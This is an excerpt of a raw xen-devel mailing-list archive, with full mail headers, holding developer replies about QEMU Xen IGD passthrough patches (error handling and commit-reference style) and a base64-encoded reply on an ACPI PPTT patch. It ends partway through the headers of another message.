Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=a2048 header.d=netscape.net header.i="@netscape.net" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=netscape.net; s=a2048; t=1784953182; bh=5d+TOFMpht5NNDS9biKMtmdNpshrH9FMk1WSBz5DJDE=; h=Date:Subject:To:Cc:References:From:In-Reply-To:From:Subject:Reply-To; b=JQgPy4k8R61WFgnGeYvVny5lIXTI7j3nsAgKJg++iF0x9N3q8xNn4FU+ZsGbhLVdTnrS+D7rRmfxqaC0RbAI5yQOP6f95MsK1qYuECtxzKXynF9P0Eapmo3FBbPzGOA3GsfYN3NQv66jarvD3t+lKH1kV7eVK1+hLpzaP0Yv7f2FnOrpCO3Vo2ix8H9VMODv8UeJfIK/IX4OShipimazDKAEpiUfxExk4kZxk7gW6j1pNui3zNeJBlSdk0UqpV2OJZT+w/NFcsg95bsvhHHr1cHzuN3NQO9u/uU9FP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Eicl7V1XYVY.SXzW5MsTgAUsZ.XAumg5GHrG.y
 TehNZ_TJnClE.p4Q_SJEkMA75GNQJATh38PlomTo.3hFT.5icYuI_BNXDcs3affkxMPHceV2CCsk
 l6seX69fu0Qvj9M4H4bkE8ynoDcE_8ImDPZ5pZTonHsxuVbrRfT83m5Rt4siqG2J9af8gvjEKzCI
 wmrDjzaAT3QvebJxzJIX0Fxl3Hs8xVuYedtMQgI5On1FNblhWjYgBxgEgpyEXpbLIqQ3dTID7.9t
 wRFjNTNR_aI_uVTQvbK61STvpb4BNdAbKqFxJAbGRDEcg8cFyI3I65P.t_mX_xUfvgNYmbOEylcq
 ZGTbGz05WO0TIEQ2XUS.jhEnSUSUlYjerHWk7LzBWTYXZFYDwNZrF21.hBZjXizN24ejVdtw_ez5
 jrpQziMTUuezzioaV6mkK_V_7fWW1yv0f9P_CinhsIUpWhEqL.FqC5eA8NPs4AXAQDg7viLs9c62
 Yzsb97Xi08MSmAgUVYQHaA264sS1aVASbSM1BadgdtfmwQ9ZTZAL6cxVTBw23t_1iIL.hBBzaLEa
 O_YWYy.nz7BTz1pSKqeiPkKcu1fzv6DexsKvV4T17LgGQdiu8x0lH5mzOJU7bh8LqG6ohBI7n7uF
 pEEpQj8T_VeIq5c6DxHj7bLXzJHJPuhQIkN8Fn0oB7HlqPus0A_WYSv7VWJm.D6HoRu86ZoARL_h
 feOaT8yZdZdQXr_Tby6CaDqnsJpbVFvcmhjP1NqooH3aXfA--
X-Sonic-MF: <brchuckz@netscape.net>
X-Sonic-ID: 40bad8fe-313d-4605-86de-681a2fcb2c82
Message-ID: <dda25bc4-6d3c-4f36-94e0-ffdc8b9bc81d@netscape.net>
Date: Sat, 25 Jul 2026 00:19:40 -0400
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 1/3] xen/igd: get PCH info from host sysfs
To: Tomita Moeko <tomitamoeko@gmail.com>, Chuck Zmudzinski
 <brchuckz@aol.com>, qemu-devel@nongnu.org
Cc: qemu-stable@nongnu.org, xen-devel@lists.xenproject.org,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony@xenproject.org>,
 "Edgar E . Iglesias" <edgar.iglesias@gmail.com>
References: <20260709183517.25866-1-brchuckz@aol.com>
 <20260709183517.25866-2-brchuckz@aol.com>
 <5cb8d286-f013-4400-aef4-baddaa775995@gmail.com>
Content-Language: en-US
From: Chuck Zmudzinski <brchuckz@netscape.net>
In-Reply-To: <5cb8d286-f013-4400-aef4-baddaa775995@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Mailer: WebService/1.1.26215 mail.backend.jedi.jws.acl:role.jedi.acl.token.atz.jws.hermes.aol
Content-Length: 2778
X-purgate-ID: tlsNG-16d1c6/1784953184-FD60A77B-DD6A367E/0/0
X-purgate-type: clean
X-purgate-size: 2847

On 7/23/2026 9:09 AM, Tomita Moeko wrote:
>> ...
>> Also, use errp in xen_igd_passthrough_isa_bridge_create
>> to set errors from xen_pt_get_host_pch_info.
>> 
>> Signed-off-by: Chuck Zmudzinski <brchuckz@aol.com>
>> ---
>> Changes in v2:
>>   - call error_setg* after closing files instead of before closing
>>     files
>>   - in last line of commit message change "to propagate errors" to
>>     "to set errors"
>>   - add stable to Cc list
>> 
>> Changes in v3:
>>   - whitespace fix at line 380 of xen_pt_graphics.c
>>   - fix Cc address for qemu-stable
>> 
>>  hw/xen/xen_pt.c          |  2 +-
>>  hw/xen/xen_pt_graphics.c | 82 ++++++++++++++++++++++++++++++++++++++--
>>  include/hw/xen/xen_igd.h |  3 +-
>>  3 files changed, 82 insertions(+), 5 deletions(-)
>> 
>> diff --git a/hw/xen/xen_pt.c b/hw/xen/xen_pt.c
>> index 0fe9c0a..474606e 100644
>> --- a/hw/xen/xen_pt.c
>> +++ b/hw/xen/xen_pt.c
>> @@ -867,7 +867,7 @@ static void xen_pt_realize(PCIDevice *d, Error **errp)
>>          }
>>  
>>          /* Register ISA bridge for passthrough GFX. */
>> -        xen_igd_passthrough_isa_bridge_create(s, &s->real_device);
>> +        xen_igd_passthrough_isa_bridge_create(s, &s->real_device, errp);
> 
> The `errp` need to be handled here if any error occurs.

Do you mean calling it like this as a supported way to handle an error:

    xen_igd_passthrough_isa_bridge_create(s, &s->real_device, &error_fatal);

IIUC, that would cause Qemu to exit(1) here if there was any error.

I didn't do that because I thought if there was an error one of the
parents (pci or qdev) would handle the error appropriately since we
are passing 'errp' from xen_pt_realize which I think comes from pci
and qdev, but maybe not. I have not tested how an error is handled
with this version of the patch and I am certainly no expert in how
error handling should be done here, so thanks for alerting me to this
question.

I have also seen in the Qemu source the use of local_err and maybe
using &error_fatal is something like using a local_err instead of the
errp from xen_pt_realize.

I will accept any suggestions from more knowledgeable people about
how best to handle the errors here. I can also do some tests by
faking an error here and make sure the the error does get handled.
I do think if the LPC bridge creation fails it should be a fatal error
and if am reading the current code we have correctly, we currently
just print a message to stderr if bridge creation fails without doing
anything about that error. I also think maybe if for some reason we
can't get a revision number for the LPC bridge, maybe that should
not be a fatal error.

I will make sure the next version of the patch will not be posted until
I have verified the errors are handled appropriately.

Cheers,

Chuck


From xen-devel-bounces@lists.xenproject.org Sat Jul 25 04:24:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 04:24:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370438.1618575 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnTwS-0001Cp-1y; Sat, 25 Jul 2026 04:24:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370438.1618575; Sat, 25 Jul 2026 04:24:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnTwR-0001Ci-VG; Sat, 25 Jul 2026 04:24:51 +0000
Received: by outflank-mailman (input) for mailman id 1370438;
 Sat, 25 Jul 2026 04:24:50 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <brchuckz@netscape.net>) id 1wnTwQ-0001Ca-8c
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 04:24:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnTwK-002d9u-Hl
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 06:24:44 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <brchuckz@netscape.net>)
 id 6a643a74-bab6-0a2a0a5309dd-0a2a450c852e-8
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 06:24:43 +0200
Received: from [98.137.65.148] (helo=sonic309-22.consmr.mail.gq1.yahoo.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <brchuckz@netscape.net>)
 id 6a643a8a-f479-0a2a450c0019-62894194b009-3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 06:24:43 +0200
Received: from sonic.gate.mail.ne1.yahoo.com by
 sonic309.consmr.mail.gq1.yahoo.com with HTTP; Sat, 25 Jul 2026 04:24:41 +0000
Received: by hermes--production-bf1-5f4bf6454b-lrr4g (Yahoo Inc. Hermes SMTP
 Server) with ESMTPA ID b3f7f8e4b62955cf6d54d4688d9d61da; 
 Sat, 25 Jul 2026 04:24:40 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=a2048 header.d=netscape.net header.i="@netscape.net" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=netscape.net; s=a2048; t=1784953481; bh=ekKaIobZZ1Xy/FIfQt3Y4wffbq3XwiaTedgBPMjLcto=; h=Date:Subject:To:Cc:References:From:In-Reply-To:From:Subject:Reply-To; b=MX93i5P0OrhWMRJGeo4/rtNiQxODYr3f8Aew6yij87XCBYZdY+PgIdmEFfkjD+B8oIOVC6qwFvOvPulcrrUSLWV5bp0qirKdb+AEv6eRyvcv0hR+kr/Nqs1CWE5x+tkt6fjWuPrTvKdHdakLRK+uOPI/85C+MjuYy0kKFymJ41cawU+zgWTRgYit7LFrG7aKRkLRnUbyhkgXxO8gemHXMmzPDBMV1IoPlA9mW7H+/p+X+BjmwHkuQVE7ekY2fWWmvsuBNYOlzW85fbulKZ/0NCsTWRoPjWFJMF12uUXKv1J9U5xD3Nh5986crmsVRpFbVTlPC1AsQWNx0v1sEIy9qQ==
X-SONIC-DKIM-SIGN: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1784953481; bh=SkWIsgEEniKXmvwCUlzMrO7W7V9Wmkp4O+XJ1oxvU3Q=; h=X-Sonic-MF:Date:Subject:To:From:From:Subject; b=Y9+Zd59zrlfoOe5ABgd2oiJidlwuaAZs7attgyO1QK7X5Unl6VS2l39u4hOGAwa8xWRTFvYKjfw4nVqB4PnrwF1Cyf3qDumau4cquUhoq0fXPRRmAzKOYsK2Q5BSgEXsY5U3TCjdehG/HONb/lbsWVcwqBsi8Dy1u88z3Xa1wGNmVfqicJ8/RtzDnUSVGmc1u9BYEZdo6cuyysGRzg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ttmumqEvm4Kn21_mC.iAa08Cwcr78vu4ffx.rX29wi4l.zkG9ryret6Y1DaJXsTOr7DIMXMPHu
 H1tsiaTLdGEl5R5ORDnlkS2dPL8hVy0NJVYrXxLAATisrFDZKChHuJvETNhfNZakCclXIF9w5fIK
 WaMyWbaqtwc.GBz7EDaqWmH1thLI5.yjURnu0foguEJ8Ub9NJGYQ4TmpkphtegHlX8tIszrvY1bN
 F6xrGR27BD8YiC1PCrF75nhJfLxfgsWkmYUw6RtNr1WXAVD58r9YJYSdiIk7x9swVF4T.j5N5UJt
 STKNyC.WGnAuv7r0_0mmPYIEYtUDW7dHz3wNwk4XoCcxOpv.lkQ--
X-Sonic-MF: <brchuckz@netscape.net>
X-Sonic-ID: 901bdd82-b497-4685-bfe1-b677888aac6d
Message-ID: <8340528e-1683-44d7-8014-937fdb9852df@netscape.net>
Date: Sat, 25 Jul 2026 00:24:40 -0400
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 2/3] xen/igd: don't register rom bar twice
To: Tomita Moeko <tomitamoeko@gmail.com>, qemu-devel@nongnu.org
Cc: qemu-stable@nongnu.org, xen-devel@lists.xenproject.org,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony@xenproject.org>,
 "Edgar E . Iglesias" <edgar.iglesias@gmail.com>
References: <20260709183517.25866-1-brchuckz@aol.com>
 <20260709183517.25866-3-brchuckz@aol.com>
 <f722320f-205b-40d3-a727-753506ba5473@gmail.com>
Content-Language: en-US
From: Chuck Zmudzinski <brchuckz@netscape.net>
In-Reply-To: <f722320f-205b-40d3-a727-753506ba5473@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Mailer: WebService/1.1.26215 mail.backend.jedi.jws.acl:role.jedi.acl.token.atz.jws.hermes.aol
Content-Length: 588
X-purgate-ID: tlsNG-d25034/1784953483-770D9A5B-2D27F637/0/0
X-purgate-type: clean
X-purgate-size: 604

On 7/23/2026 9:12 AM, Tomita Moeko wrote:
> 
> On 2026-07-10 02:35, Chuck Zmudzinski wrote:
>> This also fixes a failed assertion in pci [1] for Qemu
>> version 10 and higher when passing through an Intel
>> IGD with an option ROM to the guest.
>> 
>> [1] f6fc01c ("hw/pci: Assert a bar is not registered multiple times")
>> 
>> Fixes: 881213f ("xen, gfx passthrough: retrieve VGA BIOS to work")
> 
> Please follow the QEMU standard way to reference a commit
> `<at-least-12-digits-of-SHA-commit-id> (â€œFixed commit subjectâ€)`

OK, I will do that for the next version. Thanks,

Chuck


From xen-devel-bounces@lists.xenproject.org Sat Jul 25 07:45:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 07:45:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370477.1618585 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnX4i-0005D8-HG; Sat, 25 Jul 2026 07:45:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370477.1618585; Sat, 25 Jul 2026 07:45:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnX4i-0005D1-Du; Sat, 25 Jul 2026 07:45:36 +0000
Received: by outflank-mailman (input) for mailman id 1370477;
 Sat, 25 Jul 2026 07:45:34 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wnX4f-0005Cv-S7
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 07:45:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnX4e-00CH2L-Uo
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 09:45:32 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a646994-e002-0a2a0a5209dd-0a2a450cdc48-6
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 09:45:32 +0200
Received: from [40.107.74.121]
 (helo=OS0P286CU010.outbound.protection.outlook.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a646995-f479-0a2a450c0019-286b4a79e127-3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 09:45:27 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by OS9P286MB7261.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:44b::14)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.12; Sat, 25 Jul
 2026 07:45:22 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0245.012; Sat, 25 Jul 2026
 07:45:22 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Z+Yytyr0xhOgg9+3ViFKZ3c4c6fUyLtOjIaaH844Rr9TkxEa8y/UnGNTJ39RLFnLD14ISl66K5hlS1dapIbGprkWx9aJapiAtGJklTx/iX6dDbay02BCfGEnpVnSP7Opu4egvlZIiD9d//dQSYxP5sye5HxhLuUjoDIbJ96kIlWq+TXKbj0+WaEYGu20SR2RHQa3u91rhrVwFprGqtWLOns5/QRLcMLEVMQlHhyfNUybzQPCJypLMSQdf7bL17eIqdFN53DG3dk7yUQO9HU42C/vnFd6pxRhC+kTLG6ucPwbTjCOt6j9WRsQIP919NPZULaRPNSJE434sI0Nv7Wjfg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=h8a7G4QUlLhL64z34KSEucbUQ5kcfbKAYyVNW+iqL6o=;
 b=em0AyaExRWF81z55R77VS2zCb0+67hZjD5TO63zcdq6oKdK4opqVgaZ8hi5C3oLz1xlGhLGPnLePmNq+/8WwkNiFONEsFXxsxg8TXztMhFfsbFDkkJP8HQLD+DbNyojSYKdTdPcOWCzJ9OUABBLaPZitcnT7LJwYYTupblc7f8/MSYld7MEmQsn2xbaFCuUTuTifFifBn2oem5ovjz+PT4e+3YAhSaSl/3UnEOpez7TmOoTsCm2iGB8+ehz6FX5LcYNvc0v3//rr/qNxy0shX+nvX8QHvoipKNHUuUz2BrxQoJIohUKjUHbLduYW8BsEG2EhcKAhczMiW3AD1Eq9sw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=h8a7G4QUlLhL64z34KSEucbUQ5kcfbKAYyVNW+iqL6o=;
 b=mGNmmddbBt5KsLj7zoDru/GaoSWlOJhvSUkgK1PL4SUDAHCvBWRGEhduBvTEZWWMjC9yQr70+gLJYm7I6X6A4k6ZMCQoyG6u+UFWoOgCy0i7PTCgD/r+0GXSbHmipvmEsRtMTWDPi2moMW2Ho7IqLfofniq/ZbkQVp5PJJrXlTA=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
CC: "Mykyta_Poturai@epam.com" <Mykyta_Poturai@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, Volodymyr
 Babchuk <Volodymyr_Babchuk@epam.com>, Andrew Cooper
	<andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>,
	=?utf-8?B?Um9nZXIgUGF1IE1vbm7DqQ==?= <roger@xenproject.org>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: RE: [PATCH v7 5/5] xen/acpi: Parse PPTT to initialize CPU topology
Thread-Topic: [PATCH v7 5/5] xen/acpi: Parse PPTT to initialize CPU topology
Thread-Index: AQHdGGUJxRKGqVdhdUeL5+uGF+qgy7Z7MHsAgAKpzwA=
Date: Sat, 25 Jul 2026 07:45:22 +0000
Message-ID:
 <OS9P286MB7222DF4703BA2371D9D27C0482CE2@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260720162819.308326-1-taka@valinux.co.jp>
 <20260720162819.308326-6-taka@valinux.co.jp>
 <60128094-5cf5-4fce-89ba-646e9790b27f@suse.com>
In-Reply-To: <60128094-5cf5-4fce-89ba-646e9790b27f@suse.com>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|OS9P286MB7261:EE_
x-ms-office365-filtering-correlation-id: 8334214b-b376-4f85-0390-08deea20ae91
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|366016|376014|7416014|23010399003|1800799024|22082099003|18002099003|38070700021|56012099006|4143699003|10067099003;
x-microsoft-antispam-message-info:
 jhHbDTAD6SOf+B29f3/EqprkDE/+Ldg8yXT7iY6gK9ULG1ZNS7Chs+hcDAkdkG8SZX4afn1YSpmVZnRVrU5eXp2ev5wxKKvrJLp9gOjWb8zZ383ElyxFy29dfsrefFGI9HXfQRh/y2sAXCvEKkzugNxZE/0X6N2ZkKzC/Hchgy3xKDDfKGNE9Ud2mah/AmJyVRg9RtKa0ed6zCK4q187K782cA5ulxg3XwRwU4ANJCgJM4jSxGW2BHOOAFnQinHkbtlymj0qVeZo3BovrdjJTVCPiJD+wp+duoDR/TBEi97ckDXtCoFS1/CTT9DhJLp7P5+H10IbBayRvQIE2o+Jv2BkNcT+zxUE6tKRCFD4SNzUyydDlLDbPn84/ligdzkXSf4oyRdc5OZt6aYEWloIxXpWd0ZmCYyu3PbTvvD7ZKkPW2MctX7xGGEDcMe0XmikOq5aa1qjlHMROjgCUscC/+hm7MCnG95T9XThj1TdUVWVnhPZhyiMeeoozu1mnmu7J3cS7sukHqrHUeofYG8vpUonmi1UrE+fr/2XWd5VuJKK+9crfS185Eh+oWcjnzt7Ow2LoQvHb5A/GmLYFGR44VtblmZ5sYB76+10iqaDM02wXdV59CAQSxiuCoosvsgjkw5hnz9+fQAu1v6wUbBKHkuFUrClwwgxN1AGXAxQ3M/ZRc6AZVpPkdjAvxHv+zF2dOhJ4eEgE5rzYB5X5feLog==
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(376014)(7416014)(23010399003)(1800799024)(22082099003)(18002099003)(38070700021)(56012099006)(4143699003)(10067099003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?WFBXK2FnQkZVQkptamF1ekRqWGJxTGM5cmlCcmVWYkhCemhOQU1rdmc0K3do?=
 =?utf-8?B?R3ZDOHhKaldZWnBjdXZHbzg5MWd2c0JNQU8vV2R4QmZMa3NlTjZLTUxSUklD?=
 =?utf-8?B?a0RDN2RWM1JnODZ0Qm1meWRjcWxsbHo5RnpiaGtZdDFKV1o0eUVVRnVVOWdu?=
 =?utf-8?B?Z0FFSzlPWENCd2VQdnY5Qm9OUE0rNGxDL1RMMjBqazhGUCtGc0hSU0d4MWVp?=
 =?utf-8?B?NWhDcVJIcTlUeDQ0RWpXU1JYa25xaGswT1hURHNhMTZCTFEydlJxVTBjYjRn?=
 =?utf-8?B?U1VscDhJUEdCa3RIVkZFNFhuTGtsV2JYZ3NPYytaNVk5NlRaMXYzTHI0ODlu?=
 =?utf-8?B?MXFkeDN3TDZNU1hxNXpHR2hYaTZqRnB3dkNaU205TklxVlV3VFlLSWR0aTNG?=
 =?utf-8?B?TkNCWW02ZzUvUUVGeDUzU3AzRHc3bE1IYytHaTU0Y3ZXZlBLbXltR2szSVdU?=
 =?utf-8?B?Q0RyckYwalFPeWtab3ZUaDNFSVhHVm1rZWFqOTZOam9OOGZML2dBcGdGVUR4?=
 =?utf-8?B?NTNUU0RQZ05kd3NUd0lHT29JcnNpS0htZk5Sa3pleXluRktxT0ZGN3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text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: 8334214b-b376-4f85-0390-08deea20ae91
X-MS-Exchange-CrossTenant-originalarrivaltime: 25 Jul 2026 07:45:22.1700
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: /BbJorNVLfCCYGR2hOCrTVLEbu3O1YyXrmkF+S6N7Vybu/yO8jdujP0HXOIuPCXHkpeeIOZ6Fn7+SvH3ADutaw==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS9P286MB7261
X-purgate-ID: tlsNG-d25034/1784965532-036D6A5B-2F371533/0/0
X-purgate-type: clean
X-purgate-size: 6064

SGkgSmFuLA0KDQo+ID4gLS0tIGEveGVuL2FyY2gvYXJtL2luY2x1ZGUvYXNtL2FjcGkuaA0KPiA+
ICsrKyBiL3hlbi9hcmNoL2FybS9pbmNsdWRlL2FzbS9hY3BpLmgNCj4gPiBAQCAtNjEsNiArNjEs
OCBAQCBwYWRkcl90IGFjcGlfZ2V0X3RhYmxlX29mZnNldChzdHJ1Y3QgbWVtYmFuayB0YmxfYWRk
W10sIEVGSV9NRU1fUkVTIGluZGV4KTsNCj4gPiAgICAgICghKGVudHJ5KSB8fCAodW5zaWduZWQg
bG9uZykoZW50cnkpICsgc2l6ZW9mKCooZW50cnkpKSA+IChlbmQpIHx8CVwNCj4gPiAgICAgICAo
ZW50cnkpLT5oZWFkZXIubGVuZ3RoICE9IEFDUElfTUFEVF9HSUNDX0xFTkdUSCkNCj4gPg0KPiA+
ICsjZGVmaW5lIElOVk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id0IG1peCBhIDB4
DQo+IHByZWZpeCB3aXRoICV1KS4gQWdhaW4gYXBwbGllcyBlbHNld2hlcmUgYXMgd2VsbC4NCg0K
T2theS4NCg0KVGhhbmsgeW91LA0KSGlyb2thenUgVGFrYWhhc2hpLg0K


From xen-devel-bounces@lists.xenproject.org Sat Jul 25 07:48:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 07:48:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370485.1618593 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnX74-0005wL-Vr; Sat, 25 Jul 2026 07:48:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370485.1618593; Sat, 25 Jul 2026 07:48:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnX74-0005wE-Sn; Sat, 25 Jul 2026 07:48:02 +0000
Received: by outflank-mailman (input) for mailman id 1370485;
 Sat, 25 Jul 2026 07:48:01 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+5c502c0e710a0fe11638+8371+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wnX72-0005w6-BK
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 07:48:01 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnX70-00DkvX-Sg; Sat, 25 Jul 2026 09:47:59 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+5c502c0e710a0fe11638+8371+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a646a17-5cb7-0a2a0a5109dd-0a2a450bd096-8
 for <multiple-recipients>; Sat, 25 Jul 2026 09:47:58 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
